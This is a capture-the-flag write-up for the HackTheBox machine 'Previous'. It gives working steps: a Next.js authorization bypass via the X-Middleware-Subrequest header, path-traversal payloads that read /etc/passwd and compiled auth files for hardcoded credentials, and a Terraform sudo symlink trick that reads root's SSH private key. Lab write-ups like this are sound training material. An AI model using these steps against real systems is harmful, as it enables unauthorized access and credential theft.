Previous - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Previous is a medium-difficulty Linux machine showcasing a modern web application vulnerability chain. The attack begins with exploiting CVE-2025-29927, an authorization bypass in Next.js authentication middleware, which grants access to restricted documentation pages. Further enumeration uncovers a Local File Inclusion (LFI) vulnerability that allows extraction of compiled Next.js server files, exposing hardcoded authentication credentials. With SSH access established, privilege escalation is achieved by abusing Terraform’s infrastructure-as-code functionality through insecure variable validation and symbolic link manipulation.

TL;DR: Next.js Auth Bypass → LFI to extract credentials → SSH access → Terraform privilege escalation via symlink exploitation.

Reconnaissance

Port Scanning

# Initial port discovery
nmap -p- --min-rate=1000 -T4 10.10.11.83

# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.83 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.83

Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp    open  http     nginx 1.18.0 (Ubuntu)

Service Enumeration

The HTTP service on port 80 redirects to http://previous.htb, indicating a virtual host configuration. The initial page displays a web application with a “Docs” section protected by authentication.

# Add hostname resolution
echo "10.10.11.83     previous.htb" | sudo tee -a /etc/hosts

Upon navigating to the /docs endpoint, we encounter a login form. Intercepting the authentication request with Burp Suite reveals distinctive NextAuth cookies:

• next-auth.csrf-token
• next-auth.callback-url

Wappalyzer fingerprinting confirms the application runs Next.js version 15.2.2, which is vulnerable to CVE-2025-29927.

Vulnerability Assessment

Initial Foothold

Exploitation Path: CVE-2025-29927 Authorization Bypass

The Next.js middleware can be bypassed by injecting a specially crafted HTTP header. Configure Burp Suite’s Match and Replace feature to add the following header to all requests:

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware

With this header in place, accessing /docs now succeeds, revealing the application’s documentation pages and example files.

Local File Inclusion Discovery

The documentation contains a file download feature with a filename parameter. Testing for LFI:

# Initial test - directory traversal to read /etc/passwd
# Modify request parameter: filename=../../../../../etc/passwd

The LFI is confirmed. We proceed to enumerate the application structure:

# Read environment variables to determine working directory
# Payload: filename=../../../../../proc/self/environ
# Confirm by reading package.json
# Payload: filename=../../../../../app/package.json

Extracting Credentials via Compiled Next.js Files

To locate authentication files, we replicate the target environment locally:

# Create a matching Next.js application
npx create-next-app@latest
cd my-app

# Install exact versions from target
npm install next@15.2.2
npm install next-auth@4.24.11

# Build the application to generate .next directory
npm run build

# Inspect the compiled output
ls -la .next/
cat .next/routes-manifest.json

The .next/server/pages/ directory contains compiled route handlers. The NextAuth endpoint is typically at .next/server/pages/api/auth/[...nextauth].js. Extracting this file via LFI:

# LFI payload to read compiled NextAuth handler
# filename=../../../../../app/.next/server/pages/api/auth/[...nextauth].js

The response reveals hardcoded credentials:

jeremy:MyNameIsJeremyAndILovePancakes

SSH Access

ssh jeremy@10.10.11.83

Enter the password when prompted. Retrieve the user flag:

cat /home/jeremy/user.txt

Privilege Escalation

Enumerating Sudo Permissions

sudo -l

Output reveals:

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Analyzing Terraform Configuration

cd /opt/examples
cat main.tf

The configuration defines a custom Terraform provider (examples) with a source_path variable:

variable "source_path" {
    type = string
    default = "/root/examples/hello-world.ts"

    validation {
        condition = strcontains(var.source_path, "/root/examples/") &&
                    !strcontains(var.source_path, "..")
        error_message = "The source_path must contain '/root/examples/'."
    }
}

The validation enforces:

1. The path must contain /root/examples/
2. The path cannot contain .. (prevents directory traversal)

However, this validation can be bypassed by creating a matching directory structure in the user’s home directory.

Bypass via Symbolic Links

The custom provider’s implementation uses ioutil.ReadFile() on the source path and writes to a destination directory. By creating a symlink within an acceptable path structure, we can read arbitrary files as root:

# Create the required directory structure
cd /home/jeremy/
mkdir -p root/examples

# Create a symbolic link to the root SSH private key
ln -s /root/.ssh/id_rsa /home/jeremy/root/examples/id_rsa

Executing Terraform with Custom Variable

# Set the Terraform variable via environment variable
export TF_VAR_source_path=/home/jeremy/root/examples/id_rsa

# Execute terraform apply as root
sudo /usr/bin/terraform -chdir\=/opt/examples apply

When prompted, enter yes to approve the changes.

Accessing Root SSH Key

The root SSH private key is now copied to a web-accessible location:

cat /home/jeremy/docker/previous/public/examples/id_rsa

Copy the key contents to a local file:

# Save the key locally
# chmod 600 to set proper permissions
chmod 600 id_rsa

# SSH as root using the private key
ssh -i id_rsa root@10.10.11.83

Retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

Nmap Reconnaissance
    ↓
CVE-2025-29927 Authorization Bypass (X-Middleware-Subrequest Header)
    ↓
Local File Inclusion Discovery
    ↓
Extract Compiled Next.js Server Files (.next/server/pages/api/auth/[...nextauth].js)
    ↓
Obtain Credentials (jeremy:MyNameIsJeremyAndILovePancakes)
    ↓
SSH Access as jeremy
    ↓
Enumerate Sudo Permissions (terraform apply)
    ↓
Analyze Terraform Configuration & Validation Logic
    ↓
Create Directory Structure & Symlink to /root/.ssh/id_rsa
    ↓
Set TF_VAR_source_path Environment Variable
    ↓
Execute terraform apply (runs as root)
    ↓
Extract Root SSH Private Key
    ↓
SSH as root & Capture Root Flag

Tools Used

Key Learnings

Techniques Practiced

• CVE-2025-29927 exploitation: Middleware bypass via header injection in Next.js applications
• Local File Inclusion (LFI) vulnerability detection and exploitation
• Compiled JavaScript analysis: Understanding Next.js build output structure
• Environment variable manipulation: Using TF_VAR_* to override Terraform configurations
• Symbolic link exploitation: Bypassing path validation through filesystem symlinks
• Infrastructure-as-Code (IaC) security: Identifying privilege escalation vectors in Terraform

Lessons Learned

1. Authentication middleware is not foolproof — Framework-level authentication can be vulnerable to header manipulation. Always validate the version compatibility of security updates.

2. LFI to code execution pipeline — File inclusion vulnerabilities can escalate to credential extraction when the application exposes compiled artifacts or configuration files.

3. Validation logic must be holistic — Path validation that only checks string containment is insufficient. Symbolic links can bypass these checks entirely.

4. Terraform permissions require careful scoping — Allowing terraform apply with variable override capabilities can lead to arbitrary file operations if validation is inadequate.

5. Replicating target environments locally — Building a local instance of the target application revealed critical file paths and compilation artifacts that were essential for exploitation.

6. Defense in depth — Multiple weak controls (weak auth bypass + insecure file handling + inadequate terraform validation) combined to create a complete compromise chain.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>